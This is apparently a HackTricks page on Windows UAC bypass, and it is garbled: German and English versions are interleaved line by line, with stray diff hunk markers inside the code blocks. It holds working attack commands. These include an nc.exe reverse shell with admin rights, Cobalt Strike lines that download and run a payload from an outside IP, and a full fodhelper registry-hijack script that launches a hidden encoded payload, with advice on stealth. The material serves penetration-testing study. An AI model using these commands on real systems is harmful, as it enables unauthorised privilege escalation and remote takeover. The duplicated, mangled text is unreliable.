| [Benutzerkontensteuerung: Nur ausführbare Dateien erhöhen, die signiert und validiert sind](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deaktiviert |
| [Benutzerkontensteuerung: Nur UIAccess-Anwendungen erhöhen, die an sicheren Orten installiert sind](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Aktiviert |
| [Benutzerkontensteuerung: Alle Administratoren im Genehmigungsmodus ausführen](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Aktiviert |
| [Benutzerkontensteuerung: Zum sicheren Desktop wechseln, wenn zur Erhöhung aufgefordert wird](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Aktiviert |
| [Benutzerkontensteuerung: Virtualisieren von Datei- und Registrierungsschreibfehlern auf benutzerspezifische Standorte](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Aktiviert |
| Gruppenrichtlinieneinstellung | Registrierungsschlüssel | Standardeinstellung |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------------------------------------------------------------ |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deaktiviert |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deaktiviert |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Zustimmung für Nicht-Windows-Binärdateien anfordern |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Anmeldeinformationen auf dem sicheren Desktop anfordern |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Aktiviert (Standard für Home) Deaktiviert (Standard für Enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deaktiviert |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Aktiviert |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Aktiviert |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Aktiviert |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Aktiviert |
### UAC Bypass-Theorie
### UAC Bypass Theory
Einige Programme werden **automatisch autoelevated**, wenn der **Benutzer zur** **Administratorgruppe gehört**. Diese Binärdateien haben in ihren _**Manifests**_ die _**autoElevate**_-Option mit dem Wert _**True**_. Die Binärdatei muss auch **von Microsoft signiert** sein.
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
Viele auto-elevate Prozesse bieten **Funktionalität über COM-Objekte oder RPC-Server** an, die von Prozessen mit mittlerer Integrität (Reguläre Benutzerprivilegien) aufgerufen werden können. Beachten Sie, dass COM (Component Object Model) und RPC (Remote Procedure Call) Methoden sind, die Windows-Programme verwenden, um zu kommunizieren und Funktionen über verschiedene Prozesse hinweg auszuführen. Zum Beispiel ist das **`IFileOperation COM-Objekt`** dafür ausgelegt, Dateioperationen (Kopieren, Löschen, Verschieben) zu verwalten und kann automatisch Privilegien ohne Aufforderung erhöhen.
Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
Beachten Sie, dass einige Überprüfungen durchgeführt werden können, wie z.B. die Überprüfung, ob der Prozess aus dem **System32-Verzeichnis** ausgeführt wurde, was umgangen werden kann, indem man beispielsweise **in explorer.exe** oder eine andere ausführbare Datei im System32-Verzeichnis injiziert.
Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
Eine andere Möglichkeit, diese Überprüfungen zu umgehen, besteht darin, die **PEB** zu **modifizieren**. Jeder Prozess in Windows hat einen Process Environment Block (PEB), der wichtige Daten über den Prozess enthält, wie z.B. seinen ausführbaren Pfad. Durch die Modifizierung der PEB können Angreifer den Standort ihres eigenen bösartigen Prozesses fälschen (spoofen), sodass er aus einem vertrauenswürdigen Verzeichnis (wie system32) zu laufen scheint. Diese gefälschten Informationen täuschen das COM-Objekt und erhöhen die Privilegien automatisch, ohne den Benutzer aufzufordern.
Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.
Um die **UAC** (von **mittlerer** Integritätsstufe **zu hoher** zu erhöhen) zu **umgehen**, verwenden einige Angreifer diese Art von Binärdateien, um **beliebigen Code auszuführen**, da er von einem **Prozess mit hoher Integrität** ausgeführt wird.
Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
Sie können das _**Manifest**_ einer Binärdatei mit dem Tool _**sigcheck.exe**_ von Sysinternals überprüfen. (`sigcheck.exe -m <file>`) Und Sie können die **Integritätsstufe** der Prozesse mit _Process Explorer_ oder _Process Monitor_ (von Sysinternals) **sehen**.
You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
### UAC überprüfen
Um zu bestätigen, ob UAC aktiviert ist, führen Sie Folgendes aus:
Um zu bestätigen, ob UAC aktiviert ist, führe aus:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Wenn es **`1`** ist, dann ist UAC **aktiviert**, wenn es **`0`** ist oder **nicht existiert**, dann ist UAC **inaktiv**.
Wenn es **`1`** ist, dann ist UAC **aktiviert**, ist es **`0`** oder **existiert es nicht**, dann ist UAC **inaktiv**.
Überprüfen Sie dann, **welches Niveau** konfiguriert ist:
Prüfe dann **welches Level** konfiguriert ist:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Wenn **`0`** dann wird UAC nicht auffordern (wie **deaktiviert**)
- Wenn **`1`** wird der Administrator **nach Benutzername und Passwort** gefragt, um die Binärdatei mit hohen Rechten auszuführen (auf Secure Desktop)
- Wenn **`2`** (**Immer benachrichtigen**) wird UAC immer um Bestätigung des Administrators bitten, wenn er versucht, etwas mit hohen Rechten auszuführen (auf Secure Desktop)
- Wenn **`3`** wie `1`, aber nicht unbedingt auf Secure Desktop
- Wenn **`4`** wie `2`, aber nicht unbedingt auf Secure Desktop
- wenn **`5`**(**Standard**) wird der Administrator um Bestätigung gebeten, um nicht Windows-Binärdateien mit hohen Rechten auszuführen
- If **`0`** then, UAC won't prompt (like **disabled**)
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
- If **`3`** like `1` but not necessary on Secure Desktop
- If **`4`** like `2` but not necessary on Secure Desktop
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
Dann müssen Sie den Wert von **`LocalAccountTokenFilterPolicy`** überprüfen\
Wenn der Wert **`0`** ist, kann nur der **RID 500** Benutzer (**eingebauter Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administratoren"** dies tun.
Dann musst du dir den Wert von **`LocalAccountTokenFilterPolicy`** ansehen\
Wenn der Wert **`0`**, dann kann nur der **RID 500** Benutzer (**built-in Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administrators"** dies tun.
Und schließlich überprüfen Sie den Wert des Schlüssels **`FilterAdministratorToken`**\
Wenn **`0`** (Standard), kann das **eingebaute Administratorkonto** Remote-Administrationsaufgaben durchführen und wenn **`1`** kann das eingebaute Administratorkonto **nicht** Remote-Administrationsaufgaben durchführen, es sei denn, `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt.
Und schließlich sieh dir den Wert des Schlüssels **`FilterAdministratorToken`** an\
Wenn **`0`** (Standard), kann das **built-in Administrator-Konto** Remote-Administrationsaufgaben durchführen, und wenn **`1`**, kann das built-in Administrator-Konto **keine** Remote-Administrationsaufgaben durchführen, es sei denn `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt.
#### Zusammenfassung
- Wenn `EnableLUA=0` oder **nicht vorhanden**, **kein UAC für niemanden**
- Wenn `EnableLua=1` und **`LocalAccountTokenFilterPolicy=1`, kein UAC für niemanden**
- Wenn `EnableLua=1` und **`LocalAccountTokenFilterPolicy=0` und `FilterAdministratorToken=0`, kein UAC für RID 500 (eingebauter Administrator)**
- Wenn `EnableLua=1` und **`LocalAccountTokenFilterPolicy=0` und `FilterAdministratorToken=1`, UAC für alle**
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
All diese Informationen können mit dem **metasploit** Modul gesammelt werden: `post/windows/gather/win_privs`
All diese Informationen können mit dem **metasploit** Modul: `post/windows/gather/win_privs` ermittelt werden
Sie können auch die Gruppen Ihres Benutzers überprüfen und das Integritätsniveau abrufen:
Du kannst außerdem die Gruppen deines Benutzers prüfen und die Integritätsstufe (Integrity Level) ermitteln:
```
net user %username%
whoami /groups | findstr Level
```
## UAC-Umgehung
## UAC bypass
> [!TIP]
> Beachten Sie, dass die UAC-Umgehung einfach ist, wenn Sie grafischen Zugriff auf das Opfer haben, da Sie einfach auf "Ja" klicken können, wenn die UAC-Eingabeaufforderung erscheint.
> Beachten Sie, dass wenn Sie grafischen Zugriff auf das Opfer haben, ein UAC bypass sehr einfach ist, da Sie bei der UAC-Abfrage einfach auf "Yes" klicken können
Die UAC-Umgehung ist in der folgenden Situation erforderlich: **die UAC ist aktiviert, Ihr Prozess läuft in einem Medium-Integritätskontext, und Ihr Benutzer gehört zur Administratorgruppe**.
Der UAC bypass wird in folgender Situation benötigt: **die UAC ist aktiviert, Ihr Prozess läuft in einem medium integrity context, und Ihr Benutzer gehört zur administrators group**.
Es ist wichtig zu erwähnen, dass es **viel schwieriger ist, die UAC zu umgehen, wenn sie auf dem höchsten Sicherheitsniveau (Immer) ist, als wenn sie auf einem der anderen Niveaus (Standard) ist.**
Es ist wichtig zu erwähnen, dass es **viel schwieriger ist, die UAC zu umgehen, wenn sie auf der höchsten Sicherheitseinstellung (Always) steht, als wenn sie auf einer der anderen Einstellungen (Default) steht.**
### UAC deaktiviert
Wenn die UAC bereits deaktiviert ist (`ConsentPromptBehaviorAdmin` ist **`0`**), können Sie **eine Reverse-Shell mit Administratorrechten** (hoher Integritätslevel) ausführen, indem Sie etwas wie verwenden:
Wenn UAC bereits deaktiviert ist (`ConsentPromptBehaviorAdmin` ist **`0`**) können Sie **eine reverse shell mit admin privileges** (high integrity level) ausführen, z. B. mit:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### UAC-Bypass mit Token-Duplikation
#### UAC bypass with token duplication
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **Sehr** grundlegender UAC "Bypass" (voller Zugriff auf das Dateisystem)
### **Sehr** einfache UAC "bypass" (voller Zugriff auf das Dateisystem)
Wenn Sie eine Shell mit einem Benutzer haben, der in der Gruppe der Administratoren ist, können Sie **das C$**-Freigabe über SMB (Dateisystem) lokal auf einem neuen Laufwerk einbinden und Sie haben **Zugriff auf alles im Dateisystem** (sogar auf den Administrator-Hauptordner).
Wenn du eine shell mit einem Benutzer hast, der zur Administrators group gehört, kannst du das über SMB freigegebene **C$** lokal als neues Laufwerk mounten und hast damit **Zugriff auf alles im Dateisystem** (sogar auf den Administrator home folder).
> [!WARNING]
> **Es scheint, dass dieser Trick nicht mehr funktioniert**
> **Sieht so aus, als würde dieser Trick nicht mehr funktionieren**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -123,7 +124,7 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC-Umgehung mit Cobalt Strike
### UAC bypass mit Cobalt Strike
Die Cobalt Strike-Techniken funktionieren nur, wenn UAC nicht auf dem maximalen Sicherheitsniveau eingestellt ist.
```bash
@ -137,18 +138,17 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** und **Metasploit** haben auch mehrere Module, um die **UAC** zu **umgehen**.
**Empire** und **Metasploit** haben ebenfalls mehrere Module, um die **UAC** zu **bypassen**.
### KRBUACBypass
Dokumentation und Tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### UAC-Umgehungs-Exploits
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME), das eine **Kompilation** mehrerer UAC-Umgehungs-Exploits ist. Beachten Sie, dass Sie **UACME mit Visual Studio oder MSBuild kompilieren müssen**. Die Kompilierung erstellt mehrere ausführbare Dateien (wie `Source\Akagi\outout\x64\Debug\Akagi.exe`), Sie müssen wissen, **welche Sie benötigen.**\
Seien Sie **vorsichtig**, da einige Umgehungen **andere Programme auffordern**, die den **Benutzer** darauf **hinweisen**, dass etwas passiert.
[**UACME** ](https://github.com/hfiref0x/UACME), welches eine **Sammlung** mehrerer UAC bypass exploits ist. Beachte, dass du **UACME mit visual studio oder msbuild kompilieren musst**. Die Kompilierung erzeugt mehrere ausführbare Dateien (wie `Source\Akagi\outout\x64\Debug\Akagi.exe`), du musst wissen **welche du brauchst.**\ Du solltest **vorsichtig sein**, weil einige bypasses **andere Programme auffordern** werden, die den **Benutzer** **warnen**, dass etwas passiert.
UACME hat die **Build-Version, ab der jede Technik zu funktionieren begann**. Sie können nach einer Technik suchen, die Ihre Versionen betrifft:
UACME enthält die **Build-Version, ab der jede Technik zu funktionieren begann**. Du kannst nach einer Technik suchen, die deine Versionen betrifft:
```
PS C:\> [environment]::OSVersion.Version
@ -156,41 +156,79 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Auch auf der [dieser](https://en.wikipedia.org/wiki/Windows_10_version_history) Seite erhalten Sie die Windows-Version `1607` aus den Build-Versionen.
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
#### Weitere UAC-Umgehungen
### UAC Bypass – fodhelper.exe (Registry hijack)
**Alle** Techniken, die hier verwendet werden, um AUC zu umgehen, **erfordern** eine **vollständige interaktive Shell** mit dem Opfer (eine gängige nc.exe-Shell reicht nicht aus).
Die vertrauenswürdige Binärdatei `fodhelper.exe` wird unter modernen Windows-Versionen automatisch erhöht. Beim Start fragt sie den per-User-Registrypfad unten ab, ohne das `DelegateExecute`-Verb zu validieren. Dort einen Befehl zu platzieren ermöglicht es einem Medium Integrity process (user is in Administrators), einen High Integrity process ohne UAC prompt zu starten.
Sie können eine **meterpreter**-Sitzung verwenden. Migrieren Sie zu einem **Prozess**, der den **Session**-Wert gleich **1** hat:
Vom `fodhelper.exe` abgefragter Registrypfad:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
PowerShell-Schritte (setze deine payload, dann löse sie aus):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Hinweise:
- Funktioniert, wenn der aktuelle Benutzer Mitglied der Administrators ist und das UAC-Level auf default/lenient eingestellt ist (nicht Always Notify mit zusätzlichen Einschränkungen).
- Verwende den `sysnative`-Pfad, um von einem 32-Bit-Prozess auf einem 64-Bit-Windows eine 64-Bit PowerShell zu starten.
- Die Payload kann jeder Befehl sein (PowerShell, cmd oder ein EXE-Pfad). Vermeide auffordernde UIs für mehr Stealth.
#### More UAC bypass
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
![](<../../images/image (863).png>)
(_explorer.exe_ sollte funktionieren)
(_explorer.exe_ should works)
### UAC-Umgehung mit GUI
### UAC Bypass with GUI
Wenn Sie Zugriff auf eine **GUI haben, können Sie einfach die UAC-Aufforderung akzeptieren**, wenn Sie sie erhalten, Sie benötigen wirklich keine Umgehung dafür. Der Zugriff auf eine GUI ermöglicht es Ihnen, die UAC zu umgehen.
If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.
Darüber hinaus, wenn Sie eine GUI-Sitzung erhalten, die jemand verwendet hat (möglicherweise über RDP), gibt es **einige Tools, die als Administrator ausgeführt werden**, von denen aus Sie **cmd** beispielsweise **als Admin** direkt ausführen können, ohne erneut von UAC aufgefordert zu werden, wie [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dies könnte etwas **stealthy** sein.
Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**.
### Lauter Brute-Force-UAC-Umgehung
### Noisy brute-force UAC bypass
Wenn es Ihnen nichts ausmacht, laut zu sein, könnten Sie immer **etwas wie** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) **ausführen, das nach Erhöhung der Berechtigungen fragt, bis der Benutzer es akzeptiert**.
If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**.
### Ihre eigene Umgehung - Grundlegende UAC-Umgehungsmethodik
### Your own bypass - Basic UAC bypass methodology
Wenn Sie sich **UACME** ansehen, werden Sie feststellen, dass **die meisten UAC-Umgehungen eine Dll Hijacking-Sicherheitsanfälligkeit ausnutzen** (hauptsächlich das Schreiben der bösartigen dll in _C:\Windows\System32_). [Lesen Sie dies, um zu lernen, wie man eine Dll Hijacking-Sicherheitsanfälligkeit findet](../windows-local-privilege-escalation/dll-hijacking/index.html).
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Finden Sie eine Binärdatei, die **autoelevate** (prüfen Sie, ob sie beim Ausführen auf einem hohen Integritätslevel läuft).
2. Verwenden Sie procmon, um "**NAME NOT FOUND**"-Ereignisse zu finden, die anfällig für **DLL Hijacking** sein können.
3. Sie müssen wahrscheinlich die DLL in einige **geschützte Pfade** (wie C:\Windows\System32) schreiben, in denen Sie keine Schreibberechtigungen haben. Sie können dies umgehen, indem Sie:
1. **wusa.exe**: Windows 7, 8 und 8.1. Es ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (da dieses Tool von einem hohen Integritätslevel aus ausgeführt wird).
2. **IFileOperation**: Windows 10.
4. Bereiten Sie ein **Skript** vor, um Ihre DLL in den geschützten Pfad zu kopieren und die anfällige und autoelevierte Binärdatei auszuführen.
1. Finde ein Binary, das **autoelevate** (prüfe, dass es beim Ausführen in einem High-Integrity-Level läuft).
2. Mit procmon **"NAME NOT FOUND"**-Events finden, die für **DLL Hijacking** anfällig sein können.
3. Du wirst wahrscheinlich die DLL in geschützte Pfade schreiben müssen (z. B. C:\Windows\System32), in denen du keine Schreibberechtigung hast. Das kannst du umgehen mit:
1. **wusa.exe**: Windows 7, 8 und 8.1. Ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (weil dieses Tool mit High-Integrity-Level ausgeführt wird).
2. **IFileOperation**: Windows 10.
4. Erstelle ein **script**, das deine DLL in den geschützten Pfad kopiert und das verwundbare, autoelevated Binary ausführt.
### Eine weitere UAC-Umgehungstechnik
### Another UAC bypass technique
Besteht darin, zu beobachten, ob eine **autoElevated-Binärdatei** versucht, aus der **Registrierung** den **Namen/Pfad** einer **Binärdatei** oder **Befehls** zu **lesen**, die **ausgeführt** werden soll (dies ist interessanter, wenn die Binärdatei diese Informationen innerhalb des **HKCU** sucht).
Besteht darin zu beobachten, ob ein **autoElevated binary** versucht, aus der **registry** den **name/path** eines **binary** oder **command** auszulesen, das ausgeführt werden soll (das ist besonders interessant, wenn das Binary diese Informationen in der **HKCU** sucht).
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
{{#include ../../banners/hacktricks-training.md}}